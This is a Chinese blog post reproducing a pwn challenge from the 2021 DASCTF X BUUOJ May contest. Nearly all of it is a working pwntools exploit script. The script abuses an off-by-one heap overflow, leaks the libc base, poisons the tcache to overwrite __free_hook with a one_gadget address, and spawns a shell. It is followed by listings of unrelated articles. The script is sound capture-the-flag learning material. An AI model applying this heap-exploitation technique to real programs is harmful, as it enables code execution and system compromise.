[复现]2021 DASCTF X BUUOJ 五月大联动

由于我没ubuntu16就不复现第一个题了,直接第二个

正常的off by one

from pwn import *

context.os = 'linux'
context.log_level = "debug" p = process('./pwn')
libc = ELF('./libc.so')
elf = ELF('./pwn') s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) def debug():
gdb.attach(p)
pause() def add(idx, size, con):
sla("choice:", "1")
sla("please choice your card:", str(idx))
sla("Infuse power:\n", str(size))
sa("quickly!", con) def edit(idx, con):
sla("choice:", "2")
sla("please choice your card\n", str(idx))
sla("start your bomb show\n", con) def delete(idx):
sla("choice:", "3")
sla("Which card:", str(idx)) def show(idx):
sla("choice:", "4")
sla("index:", str(idx)) add(0,0x18,'bpc')
add(1,0x20,'bpc')
add(2,0x20,'bpc')
add(3,0x20,'bpc') for i in range(4, 11):
add(i, 0x80, "bpc")
for i in range(4, 11):
delete(i)
pl = 'a'*0x10 + p64(0) + p8(0x91)
edit(0,pl)
delete(1)
add(1,0x20,'bpc')
show(2)
ru("dedededededede:")
libcbase = uu64(r(6)) - 0x3EBCA0
leak('libcbase',libcbase)
free_hook = libcbase + libc.sym['__free_hook']
system = libcbase + 0x4f302
add(11,0x20,'bpc')
delete(11)
edit(2, p64(free_hook))
add(11, 0x20, "bpc")
add(12, 0x20,p64(system))
'''
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL 0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL 0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
#debug()
delete(12) itr()

[复现]2021 DASCTF X BUUOJ 五月大联动-PWN的更多相关文章

  1. 从 Airflow 到 Apache DolphinScheduler,有赞大数据开发平台的调度系统演进

    点击上方 蓝字关注我们 作者 | 宋哲琦 ✎ 编 者 按 在不久前的 Apache  DolphinScheduler Meetup 2021 上,有赞大数据开发平台负责人 宋哲琦 带来了平台调度系统 ...

  2. 刷题记录:[强网杯 2019]Upload

    目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...

  3. 刷题记录:[XNUCA2019Qualifier]EasyPHP

    目录 刷题记录:[XNUCA2019Qualifier]EasyPHP 解法一 1.error_log结合log_errors自定义错误日志 2.include_path设置包含路径 3.php_va ...

  4. Buuctf刷题:部分

    get_started_3dsctf_2016 关键词:ROP链.栈溢出.mprotect()函数 可参考文章(优质): https://www.cnblogs.com/lyxf/p/12113401 ...

  5. 【紧急】继续折腾,Log4j再发2.1.6,强烈建议升级

    背景 继前天正式发布的2.15.0之后,Apache log4j 2 团队宣布 Log4j 2.16.0 发布! 由于SLF4J适配兼容性的中断,Log4j 现在发布两个版本的SLF4J to Log ...

  6. 2012高校GIS论坛

    江苏省会议中心 南京·钟山宾馆(2012年4月21-22日) 以"突破与提升"为主题的"2012高校GIS论坛"将于4月在南京举行,由南京大学和工程中心共同承办 ...

  7. 1_ZedBoard开发板测试

    启动 将SD卡插入电脑进行格式化 格式化时,要将SD卡格式化为FAT32文件系统.块大小格式化为4096字节时后面会出现无法启动的情况,可以先复现一下这个错误.块大小我选择4096字节. 然后将Zed ...

  8. 刷题记录:[De1CTF 2019]Giftbox && Comment

    目录 刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取 ...

  9. 刷题记录:[DDCTF 2019]homebrew event loop

    目录 刷题记录:[DDCTF 2019]homebrew event loop 知识点 1.逻辑漏洞 2.flask session解密 总结 刷题记录:[DDCTF 2019]homebrew ev ...

  10. 刷题记录:[CISCN2019 东北赛区 Day2 Web3]Point System

    目录 刷题记录:[CISCN2019 东北赛区 Day2 Web3]Point System 知识点 1.padding-oracle attack 2.cbc字节翻转攻击 3.FFMpeg文件读取漏 ...

随机推荐

  1. webstrom配置ES6 file watch没有生效

    参考了文章https://www.cnblogs.com/kiimi/p/8663467.html设置后,依然没有看到编译后的文件,然后设置了输出文件夹为当前项目,再重启webstrom就看到了--

  2. Docker-Compose实战<下篇>

    本文是在上一篇文章的基础上做的一些内容追加,上文最后截止内容是docker-compose build将镜像生成完成.接下来我将继续写启动相关服务,访问服务以及常用命令使用等. 1 启动镜像 使用命令 ...

  3. Python自动化测试更新selenium的两种方式

    第一种手动实现: 来源 https://www.codeleading.com/article/73395290617/ import os import re import winreg impor ...

  4. ant Vue select 多条数据重复的问题

    1.问题描述:select实现下拉的功能,并且带前端搜索,但是后端给的数据没去重,对象中所有的参数值有保持一致,试了下,发现只要key值和value值不一致就不会报错: 2.解决:key值用index ...

  5. Linux系统备份与还原——dump备份命令

    dump是Linux下非常好用的备份工具,系统默认没有安装该工具,可以通过yum来安装使用 [root@localhost ~]# rpm -qa |grep dump [root@localhost ...

  6. 上传文件-jq

    var formFile = new FormData(); formFile.append("[file]", fileObj); formFile.append("t ...

  7. cmd执行程序时容易卡住阻塞以及解决方式

    遇到问题: cmd执行程序时总是卡住,敲回车后继续执行程序. 我司公众号需要去内网获取数据,cmd执行了内网穿透程序,期间cmd两次卡住,公众号无法获取内网数据导致无法运行. 解决方案: cmd默认开 ...

  8. 上传镜像到harbor

    https://blog.csdn.net/weixin_45335305/article/details/123817541

  9. JS篇(009)-javascript 对象的几种创建方式

    答案: 第一种:Object 构造函数创建 var Person = new Object(); Person.name = "Nike"; Person.age = 29; 这行 ...

  10. 基于 Docker 安装 Nginx 搭建静态服务器

    最近一直在准备家里的服务器部署一个自己用的网站玩玩,一来是用来学习部署的基础知识,二来,后面有空学点前端,可以部署到自己网站玩玩. 参考链接:https://juejin.cn/post/705740 ...